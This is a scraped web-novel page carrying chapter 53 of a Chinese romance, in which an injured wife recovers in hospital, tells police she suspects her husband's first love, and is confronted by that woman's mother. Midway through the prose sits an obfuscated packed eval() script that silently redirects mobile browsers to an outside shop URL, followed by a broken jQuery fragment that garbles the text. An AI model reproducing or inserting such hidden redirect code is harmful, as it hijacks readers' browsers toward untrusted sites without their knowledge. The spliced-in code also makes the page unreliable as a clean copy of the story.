文趣网 > 都市小说 > 三年贤妻不当了,离婚他跪破膝盖 > 第53章 到底是谁做的?
    鼻腔里传来一股浓郁的消毒水味。

    姜樾缓缓睁开眼,周围的事物模糊了一瞬,才逐渐清晰。

    浑身的骨头像是被拆掉后重新拼起来的一般,哪里都疼,尤其是头部,钝钝的。

    她觉得有点恶心。

    “你醒了?”

    秦飒挥舞手指:“能看清东西吗?医生说你头部遭到撞击,有点脑震荡。”

    姜樾张嘴,发现嗓子完全哑了。

    她看了看四周。

    “这是商家投资的私人医院,你住的是VIP病房,想去洗手间吗?”

    姜樾看到她脸上满是担心,虽然身体极度不适,还是摇摇头,表示没关系。

    说起来,她对这家私人医院不陌生,之前商老太太生病时也来过。

    病房门没关,显得走廊里格外幽深空旷。

    隔壁VIP病房里传来女人柔细虚弱的声音。

    “庭洲哥,我真的还活着吗?真的是你在我身边吗?”

    商庭洲轻轻‘嗯’了一声:“别怕,医生说没伤到要害,只是......伤口可能会留疤。”

    那声音低沉温柔极了。

    秦婉君也温声细语:“好啦安安,你赶紧休息一会,我跟庭洲都陪在你身边的。”

    程苡安轻笑:“知道了妈妈,我也不想庭洲哥这么累。”

    她顿了顿,期盼地问:“庭洲哥,我还是有点害怕,你能抱抱我吗?”

    姜樾忍不住望向空空的走廊。

    门前拉长的四方光影。

    两道身影相拥在一起,看起来既亲密,又温馨。

    仿佛他们才是亲人和爱人。

    而自己,只配和床单上的影子相伴。

    她能想象出,商庭洲会坐在程苡安的床边哄她,又或许会拉着她的手,喂她喝水。

    姜樾想,这些跟她已经没有关系了。

    她轻轻攥住床单,稍微一动,手腕就隐隐作痛。

    姜樾额角爬出细密的冷汗,所有伤口和心脏仿佛连在一起。

    一跳一痛。

    她眼底有点发红,却没有掉下一颗眼泪。

    秦飒很想说‘有我陪你,你不是一个人’。

    但也知道。

    亲人的陪伴是不同的,尤其是,爱过的人。

    秦飒悄悄看了一眼姜樾的脸色,转移话题:“你出事以后,商总其实是亲自找你的,只是救护车和警车到的时候,发现程苡安身上挨了一刀,伤得反而比你更重。”

    这也是让她百思不得其解的地方。

    程苡安哪有这么好心,怎么可能主动去救姜樾?

    姜樾轻轻咳嗽两声,回过神,思索道:“她为什么会在我被**的地方?这事本身就不合理吧。”

    秦飒:“她是追着商总去的,从寰海技术部拿到的地址,说起来,这事也太蹊跷了。”

    当然蹊跷。

    姜樾自问只是个没背景的小人物,生活和工作里极少得罪人。

    只有程苡安。

    她忽然想起来,作势要起来,不料手腕和肩膀一痛:“嘶......”

    “别动别动。”秦飒连忙按住她:“你手腕脱臼,脚也扭到了,只能慢慢活动恢复,要找什么我帮你拿。”

    姜樾顾不上疼了:“我的包呢?里面有个录音笔,那录音笔很重要,应该能找到幕后真凶。”

    秦飒:“自从确认是**案件以来,警方就立刻介入了,你的包属于证物,在没出调查结果前不能拿回来。”

    姜樾听到警方介入,总算稍放下心。

    商庭洲安抚好程苡安后,回到姜樾的病房,看到她已经沉沉睡过去。

    他走到病床前,盯着姜樾手腕上的绷带和额头带血的纱布看了好一会。

    摸了摸她额头,又收回。

    虽然没出声,但微微内扣的肩膀,仿佛扛着些许悔意。

    秦飒小声嘲讽:“商总这是陪完小情人,又想起我们樾樾了?”

    **一天,姜樾昏迷一天,今天是第三天。

    他几乎是连轴转。

    眼皮累出了三道褶。

    蹙着眉看过来的样子,像躲在阴影里的独狼。

    他没指责秦飒态度不佳。

    可秦飒就是被吓得心往下沉。

    “商总,请你不要脚踩两条船还在这里演深情,姜樾不需要,如果你真的在意她,就不会一直陪在隔壁,请别在这个时候动摇她。”

    秦飒说得认真。

    她以为商庭洲是因为收到离婚协议,为了求复合才表现出一点感情。

    商庭洲却以为,秦飒是因为姜樾的工作刚刚有起色,让他不要制造**。

    “你尽管放心。”

    警察上门是在第二天。

    听说姜樾已经清醒,两个警官上门来做笔录。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568004|204837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    警察问了许多基本信息,最后问到姜樾自己有没有怀疑对象时。

    姜樾沉默了很久,还是照实说了:“我最近一段时间,只跟一个人产生过冲突。”

    提到程苡安,两名警察对视了一眼,问:“原因是什么?”

    姜樾抿了抿唇,说:“我怀疑她跟我丈夫有不正当关系。”

    警察完成记录,准备告辞。

    姜樾叫住他们,询问起自己的背包里,有没有一只录音笔。

    “证物清单里没有这件东西。”

    姜樾心里一紧,赶紧跟警察又说了一遍自己的逃跑路线。

    警察点头:“知道了,我们会去寻找证物,姜小姐,谢谢你的配合,请你好好休息,争取早日康复。”

    下午,姜樾完成了一次换药,在秦飒的帮忙下,稍微做了下清理。

    刚从洗手间里出来,病房的门就被人狠狠踹开。

    秦婉君踩着高跟鞋走进来,一把掀开姜樾的被子。

    指着她骂道:“姜樾,你这个狼心狗肺的东西!是不是你跟警察胡说八道,诬陷我家安安是**你的凶手?”

    姜樾面色冷淡:“回答警察的问题,有,所谓的诬陷,没有。”

    秦飒:“这里是病房,请你马上出去!”

    秦婉君把她推开,唾沫星子几乎要溅到姜樾的脸上。

    “还敢搪塞我?你这个勾引别人初恋的小三,我家安安善良纯真,你被**的时候,还替你挨了一刀,现在竟敢反咬一口!真是当代的农夫与蛇啊!”

    秦婉君不依不饶的扯着姜樾,完全不顾她身上有伤:“你怎么没被绑匪撕票,你现在、立刻,去跟我女儿道歉!”

    秦飒过来阻止。

    秦婉君破口大骂,骂姜樾‘花瓶,小三,不要脸’。

    “你以为自己能住进私人医院,是因为庭洲担心?不过是沾了安安的光,他不过是可怜你没人疼,没人要罢了!安安不一样,她为了庭洲,为了你留下了一道疤,庭洲这辈子都会因为这条疤而心疼不安。”

    “而你,不过是个早就被他厌烦的弃妇!”

    姜樾没有跟她多费唇舌。

    一只手推开秦飒,另一只手抄起桌子上的一次性水杯。

    ‘哗’的一声。

    泼在秦婉君那张化过妆的脸上。

    姜樾淡淡问:“清醒了吗?”